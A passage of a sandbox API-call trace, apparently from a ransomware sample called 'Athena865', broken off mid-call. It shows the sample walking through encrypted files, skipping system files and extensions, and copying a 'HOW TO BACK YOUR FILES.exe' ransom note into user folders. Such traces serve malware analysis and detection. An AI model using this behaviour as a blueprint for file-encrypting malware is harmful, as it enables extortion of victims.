ftCreationTime.dwLowDateTime=0x8ac6fae0, ftCreationTime.dwHighDateTime=0x1d4cf4b, ftLastAccessTime.dwLowDateTime=0x43d61eb0, ftLastAccessTime.dwHighDateTime=0x1d4d2fa, ftLastWriteTime.dwLowDateTime=0xc5e14c40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x160c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sheawXy7l.xls.Athena865", cAlternateFileName="SHEAWX~1.ATH")) returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2=".") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="..") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="windows") returned -1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="bootmgr") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="temp") returned -1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="pagefile.sys") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="boot") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="ids.txt") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="ntuser.dat") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="perflogs") returned 1 [0051.377] lstrcmpiW (lpString1="sheawXy7l.xls.Athena865", lpString2="MSBuild") returned 1 [0051.377] lstrlenW (lpString="sheawXy7l.xls.Athena865") returned 23 [0051.377] lstrcpyW (in: lpString1=0x241e8c0, lpString2="sheawXy7l.xls.Athena865" | out: lpString1="sheawXy7l.xls.Athena865") returned="sheawXy7l.xls.Athena865" [0051.377] lstrlenW (lpString="sheawXy7l.xls.Athena865") returned 23 [0051.377] lstrlenW (lpString="Athena865") returned 9 [0051.377] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.377] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad02650, ftCreationTime.dwHighDateTime=0x1d53add, ftLastAccessTime.dwLowDateTime=0xc0406370, ftLastAccessTime.dwHighDateTime=0x1d4f1ef, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", cAlternateFileName="UUG-K9~1.ATH")) returned 1 [0051.377] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.377] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.377] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2=".") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="..") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="windows") returned -1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="bootmgr") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="temp") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="pagefile.sys") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="boot") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="ids.txt") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="ntuser.dat") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="perflogs") returned 1 [0051.378] lstrcmpiW (lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865", lpString2="MSBuild") returned 1 [0051.378] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned 35 [0051.378] lstrcpyW (in: lpString1=0x241e8c0, lpString2="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" | out: lpString1="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865" [0051.378] lstrlenW (lpString="uuG-k9oPeWHUR1FR_eEI.xlsx.Athena865") returned 35 [0051.378] lstrlenW (lpString="Athena865") returned 9 [0051.378] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.378] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4db3cca0, ftCreationTime.dwHighDateTime=0x1d50c9f, ftLastAccessTime.dwLowDateTime=0xa9091080, ftLastAccessTime.dwHighDateTime=0x1d54735, ftLastWriteTime.dwLowDateTime=0xc5e3ada0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7a20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vofRB78_e8.docx.Athena865", cAlternateFileName="VOFRB7~1.ATH")) returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2=".") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="..") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="windows") returned -1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="bootmgr") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="temp") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="pagefile.sys") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="boot") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="ids.txt") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="ntuser.dat") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="perflogs") returned 1 [0051.378] lstrcmpiW (lpString1="vofRB78_e8.docx.Athena865", lpString2="MSBuild") returned 1 [0051.378] lstrlenW (lpString="vofRB78_e8.docx.Athena865") returned 25 [0051.378] lstrcpyW (in: lpString1=0x241e8c0, lpString2="vofRB78_e8.docx.Athena865" | out: lpString1="vofRB78_e8.docx.Athena865") returned="vofRB78_e8.docx.Athena865" [0051.379] lstrlenW (lpString="vofRB78_e8.docx.Athena865") returned 25 [0051.379] lstrlenW (lpString="Athena865") returned 9 [0051.379] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.379] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9e180, ftCreationTime.dwHighDateTime=0x1d52ae5, ftLastAccessTime.dwLowDateTime=0x91e8ada0, ftLastAccessTime.dwHighDateTime=0x1d52f72, ftLastWriteTime.dwLowDateTime=0xc5e60f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x16bd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="w5VIYDZ.xlsx.Athena865", cAlternateFileName="W5VIYD~1.ATH")) returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2=".") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="..") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="windows") returned -1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="bootmgr") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="temp") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="pagefile.sys") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="boot") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="ids.txt") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="ntuser.dat") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="perflogs") returned 1 [0051.379] lstrcmpiW (lpString1="w5VIYDZ.xlsx.Athena865", lpString2="MSBuild") returned 1 [0051.379] lstrlenW (lpString="w5VIYDZ.xlsx.Athena865") returned 22 [0051.379] lstrcpyW (in: lpString1=0x241e8c0, lpString2="w5VIYDZ.xlsx.Athena865" | out: lpString1="w5VIYDZ.xlsx.Athena865") returned="w5VIYDZ.xlsx.Athena865" [0051.379] lstrlenW (lpString="w5VIYDZ.xlsx.Athena865") returned 22 [0051.379] lstrlenW (lpString="Athena865") returned 9 [0051.379] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.379] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeecd110, ftCreationTime.dwHighDateTime=0x1d500ac, ftLastAccessTime.dwLowDateTime=0xf5c532c0, ftLastAccessTime.dwHighDateTime=0x1d549fe, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x2d20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB1Bcf.pptx.Athena865", cAlternateFileName="WB1BCF~1.ATH")) returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2=".") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="..") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="windows") returned -1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="bootmgr") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="temp") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="pagefile.sys") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="boot") returned 1 [0051.379] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="ids.txt") returned 1 [0051.380] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="ntuser.dat") returned 1 [0051.380] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="perflogs") returned 1 [0051.380] lstrcmpiW (lpString1="WB1Bcf.pptx.Athena865", lpString2="MSBuild") returned 1 [0051.380] lstrlenW (lpString="WB1Bcf.pptx.Athena865") returned 21 [0051.380] lstrcpyW (in: lpString1=0x241e8c0, lpString2="WB1Bcf.pptx.Athena865" | out: lpString1="WB1Bcf.pptx.Athena865") returned="WB1Bcf.pptx.Athena865" [0051.380] lstrlenW (lpString="WB1Bcf.pptx.Athena865") returned 21 [0051.380] lstrlenW (lpString="Athena865") returned 9 [0051.380] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.380] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6691d10, ftCreationTime.dwHighDateTime=0x1d575b2, ftLastAccessTime.dwLowDateTime=0x82317b80, ftLastAccessTime.dwHighDateTime=0x1d4eed6, ftLastWriteTime.dwLowDateTime=0xc5e87060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x3f30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ycRhOOUrcEF.docx.Athena865", cAlternateFileName="YCRHOO~1.ATH")) returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2=".") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="..") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="windows") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="bootmgr") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="temp") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="pagefile.sys") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="boot") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="ids.txt") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="ntuser.dat") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="perflogs") returned 1 [0051.380] lstrcmpiW (lpString1="ycRhOOUrcEF.docx.Athena865", lpString2="MSBuild") returned 1 [0051.380] lstrlenW (lpString="ycRhOOUrcEF.docx.Athena865") returned 26 [0051.380] lstrcpyW (in: lpString1=0x241e8c0, lpString2="ycRhOOUrcEF.docx.Athena865" | out: lpString1="ycRhOOUrcEF.docx.Athena865") returned="ycRhOOUrcEF.docx.Athena865" [0051.380] lstrlenW (lpString="ycRhOOUrcEF.docx.Athena865") returned 26 [0051.380] lstrlenW (lpString="Athena865") returned 9 [0051.380] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.380] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ccb3a60, ftCreationTime.dwHighDateTime=0x1d4f71a, ftLastAccessTime.dwLowDateTime=0xade5a9b0, ftLastAccessTime.dwHighDateTime=0x1d54d11, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x11f60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YJi4YRS6U.xlsx.Athena865", cAlternateFileName="YJI4YR~1.ATH")) returned 1 [0051.380] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.380] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.380] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2=".") returned 1 [0051.380] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="..") returned 1 [0051.380] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="windows") returned 1 [0051.381] lstrcmpiW (lpString1="YJi4YRS6U.xlsx.Athena865", lpString2="bootmgr") returned 1 [0051.381] lstrcpyW (in: lpString1=0x241e8c0, lpString2="YJi4YRS6U.xlsx.Athena865" | out: lpString1="YJi4YRS6U.xlsx.Athena865") returned="YJi4YRS6U.xlsx.Athena865" [0051.381] lstrlenW (lpString="YJi4YRS6U.xlsx.Athena865") returned 24 [0051.381] lstrlenW (lpString="Athena865") returned 9 [0051.381] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.381] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 1 [0051.381] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.381] lstrcmpiW (lpString1="ZFJCJlO5OR1.xlsx.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.381] lstrcpyW (in: lpString1=0x241e8c0, lpString2="ZFJCJlO5OR1.xlsx.Athena865" | out: lpString1="ZFJCJlO5OR1.xlsx.Athena865") returned="ZFJCJlO5OR1.xlsx.Athena865" [0051.381] lstrlenW (lpString="ZFJCJlO5OR1.xlsx.Athena865") returned 26 [0051.381] lstrlenW (lpString="Athena865") returned 9 [0051.381] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0051.381] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7049c1a0, ftCreationTime.dwHighDateTime=0x1d54162, ftLastAccessTime.dwLowDateTime=0x54f65300, ftLastAccessTime.dwHighDateTime=0x1d4f513, ftLastWriteTime.dwLowDateTime=0xc5ead1c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x13320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZFJCJlO5OR1.xlsx.Athena865", cAlternateFileName="ZFJCJL~1.ATH")) returned 0 [0051.381] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0051.381] ReleaseMutex (hMutex=0xec) returned 1 [0051.381] CloseHandle (hObject=0xec) returned 1 [0051.381] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood" [0051.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528118 | out: hHeap=0x4f0000) returned 1 [0051.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c518 | out: hHeap=0x4f0000) returned 1 [0051.381] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 54 [0051.381] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DBA6BC19E49142944D750A096EC02A7D") returned 0xec [0051.381] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.382] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood" [0051.382] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.382] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.382] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\nethood\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.382] GetLastError () returned 0x0 [0051.382] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.382] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0051.382] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.383] CloseHandle (hObject=0xf4) returned 1 [0051.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0051.383] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.383] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.384] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.384] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.384] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbce5dc00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbce5dc00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.384] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.384] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.386] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures" [0051.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528190 | out: hHeap=0x4f0000) returned 1 [0051.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c530 | out: hHeap=0x4f0000) returned 1 [0051.386] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures") returned 55 [0051.386] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B012B46726D0576BCF332BA1BA00967A") returned 0xec [0051.386] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0051.386] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures" [0051.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0051.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0051.386] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0051.386] GetLastError () returned 0x0 [0051.386] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0051.387] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0051.387] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0051.387] CloseHandle (hObject=0xf4) returned 1 [0051.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0051.387] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0051.387] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbced0020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0051.388] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.388] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.388] lstrcpyW (in: lpString1=0x241e8b8, lpString2="-BE_3cSpj5VFil 1.png" | out: lpString1="-BE_3cSpj5VFil 1.png") returned="-BE_3cSpj5VFil 1.png" [0051.388] lstrlenW (lpString="-BE_3cSpj5VFil 1.png") returned 20 [0051.388] lstrlenW (lpString="Athena865") returned 9 [0051.388] lstrcmpiW (lpString1="Fil 1.png", lpString2="Athena865") returned 1 [0051.388] lstrlenW (lpString=".dll") returned 4 [0051.388] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png", lpString2=".dll") returned 1 [0051.388] lstrlenW (lpString=".lnk") returned 4 [0051.388] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png", lpString2=".lnk") returned 1 [0051.388] lstrlenW (lpString=".ini") returned 4 [0051.388] lstrcmpiW (lpString1="-BE_3cSpj5VFil 1.png", lpString2=".ini") returned 1 [0051.388] lstrlenW (lpString=".sys") returned 4 [0051.388] lstrcmpiW 